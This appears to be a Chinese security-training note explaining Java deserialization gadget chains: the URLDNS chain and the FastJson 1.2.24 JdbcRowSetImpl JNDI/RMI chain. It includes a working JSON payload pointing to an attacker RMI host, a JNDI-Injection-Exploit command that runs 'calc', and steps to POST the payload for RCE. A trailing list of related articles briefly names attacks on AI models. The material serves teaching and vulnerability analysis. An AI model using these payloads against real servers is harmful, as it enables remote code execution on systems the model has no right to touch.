第46天:Web开发-JavaEE应用原生和FastJson反序列化URLDNS链JDBC链Gadget手搓

news/2025/2/25 12:25:00
#知识点

1、安全开发-JavaEE-原生序列化-URLDNS链分析

2、安全开发-JavaEE-FastJson-JdbcRowSetImpl链分析

一、利用链

利用链也叫"gadget chains",我们通常称为gadget:

1、共同条件:实现Serializable或者Externalizable接口,最好是jdk自带或者JAVA常用组件里有

2、入口类source:(重写readObject 调用常见函数 参数类型宽泛 最好jdk自带)

3、调用链gadget chain:相同方法名、相同类型

4、执行类sink:RCE SSRF 写文件等等

二、原生反序列化及URLDNS链分析(JDK自带链)

1、核心:java.util.HashMap实现了Serializable接口满足条件后,通过HashMap里面的hash到key.hashCode(),key的转变URL类,再到hashCode为-1触发URLStreamHandler.hashCode(理解如下链路即可),

从文件HashMap.java->实例化HashMap对象(将把此对象进行序列化)->发现该文件里面有readObject()存在反序列化的可能

HashMap->readObject

HashMap->putVal(put)(     

HashMap->hash

key.hashCode->

URL.hashCode->

handler.hashCode->

URLStreamHandler.getHostAddress

2、写利用链:

参考:https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g

搞清楚入口类,需要修改的值,需要传递的值,

创建一个HashMap泛型,(后续操作URL类即int类型值)

在创建一个url连接,(将要请求的地址写入对应代码的U)

用put方法把url数据存放到里面,触发putVal(hash(key)

其中hash里面会调用key.hashCode()

最终触发点是key,所以我们就需要给key的类型设置成URL类,

通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode,最终调用里面的getHostAddress实现

三、FastJson反序列化及JdbcRowSetImp链分析(JDK自带链):

参考:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w

FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换

<dependency>   //pom.xml文件中配置fastjson依赖(第三方库)

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.24</version>

</dependency>

四、应用知识:

1、序列化方法:

JSON.toJSONString(),返回字符串;

JSON.toJSONBytes(),返回byte数组;

2、反序列化方法:

JSON.parseObject(),返回JsonObject;

JSON.parse(),返回Object;

JSON.parseArray(), 返回JSONArray;

将JSON对象转换为java对象:JSON.toJavaObject();

将JSON对象写入write流:JSON.writeJSONString();

3、常用:

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

5、使用fastjson引出安全问题:

①前提:"序列化"操作->固定类后:

反序列化使用parse方法->在调用时会调用set方法

反序列化使用parseObject->在调用时会调用set和get方法

②前提:"反序列化"操作->指定类后:

反序列化使用parseObject->在调用时会调用set方法

反序列化使用parse()->则不会调用set方法

6、安全利用链:(理解这条链即可)

JDK自带链-JdbcRowSetImpl:

①以下为设置信任远程服务器加载的对象

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

②String payload = "{" +

"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +  //固定类的反序列化对象

"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " +  //改动的成员变量dataSourceName

"\"autoCommit\":true" +  //改动的成员变量 autoCommit

"}";

JSON.parse(payload);  ->用parse()进行反序列化操作->会调用反序列化对象的set方法(关键点)

③利用链寻找

反序列化对象:com.sun.rowset.JdbcRowSetImpl

改动的成员变量:dataSourceName autoCommit

分析用parse()进行反序列化操作->调用反序列化对象的两个set方法

setdataSourceName->getdataSourceName

setautoCommit->connect->DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

由于"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", "《=》this.getDataSourceName()触发以下注入

RMI注入:触发RCE

DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");

工具生成rmi:

在代码中替换rmi

运行代码RCE成功

var1.lookup RMI协议远程调用(引出下节课将讲到)

autoCommit->setAutoCommit->

this.connect()->var1.lookup(this.getDataSourceName());

生成RMI恶意调用类:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

实战:

servlet启动网站post传递参数json={.........payload.........};

rce利用

总结:

1、理解URLDNS链分析,fastjson引出安全问题的链分析,从突破口一直追踪到具体的利用方法

2、fastjson中的parse与parseobject两种反序列化方法,会调用序列化对象中存在的set或get方法,具体看是否固定类->是产生与分析安全漏洞利用链的关键


http://www.niftyadmin.cn/n/5865499.html

相关文章

快速上手 Unstructured:安装、Docker部署及PDF文档解析示例

1. 核心概念 1.1 Unstructured简介 Unstructured 是一个强大的 Python 库,专注于从非结构化数据中提取和预处理文本信息,广泛应用于 PDF、Word 文档、HTML 等多种格式的文件处理。其核心功能包括分区、清理、暂存和分块,能够将复杂的非结构化文档转换为结构化输出,为后续…

不停机数据库迁移方案

首先我们需要知道一个基本的数据迁移的方案: 创建一个目标表使用源表的数据去初始化目标表执行一次校验, 此时使用源表数据去修复目标表数据双写&#xff0c; 业务开启双写, 读写源表, 写目标表开启增量校验和数据修复, 保持一段时间切换双写顺序, 此时读写目标表, 数据以目标…

AI安全相关漏洞

最近AI大模型上线&#xff0c;除开常规的系统漏洞外&#xff0c;也涌现出很多新的漏洞&#xff0c;这篇文章对于新的一些漏洞进行一些整理&#xff0c;后期进行进一步的复现。 1. 对抗攻击&#xff08;Adversarial Attacks&#xff09; 攻击机制&#xff1a; 通过在输入数据中添…

回溯算法之组合和排列问题

文章目录 1.什么是回溯算法2.回溯算法解题步骤3.回溯算法解决组合问题4.回溯算法解决排列问题 1.什么是回溯算法 回溯算法是一种通过尝试所有可能的解决方案来解决问题的算法策略&#xff0c;它通常用于求解组合优化、排列组合、路径搜索等类型的问题,是一种暴力求解的算法。 2…

Vue.js 学习笔记:TodoList 待办事项小案例

文章目录 前言一、项目概述二、代码解析1. HTML 结构亮点解析 2. Vue.js 实现功能解析 三、优化与改进1. 用户体验优化2. 代码优化 四、总结与展望 前言 今天浅学了一下vue&#xff0c;将所学知识点应用到这个非常经典的TodoList 待办事项小案例中。 一、项目概述 本次案例…

2025-spring boot 之多数据源管理

1、是使用Spring提供的AbstractRoutingDataSource抽象类 注入多个数据源。 创建 DataSourceConfig 配置类 通过spring jdbc 提供的带路由的抽象数据源 AbstractRoutingDataSource import org.springframework.beans.factory.annotation.Autowired; import org.springframew…

Python爬虫-破解字体加密技术

前言 本文是该专栏的第77篇,后面会持续分享python爬虫干货知识,记得关注。 字体加密是一种常见的反爬虫技术,通过自定义字体文件和字符映射来保护网页内容,防止爬虫直接获取文本信息。 而本文,笔者将针对“如何解决目标平台的字体加密技术,并获取目标数据”,进行详细介…

商业化运作的“日记”

晴&#xff0c;2025年2月24日 看到这张图&#xff1a; 将其放大&#xff1a; 建立表格&#xff1a; 原话翻译一些点市场中的万物现出本相&#xff0c;无非世人的需求有需求才有市场商品交换需求交换⇆孕育平台产品价值功能价值情绪价值资产价值解决实际问题 情感经济价值/增…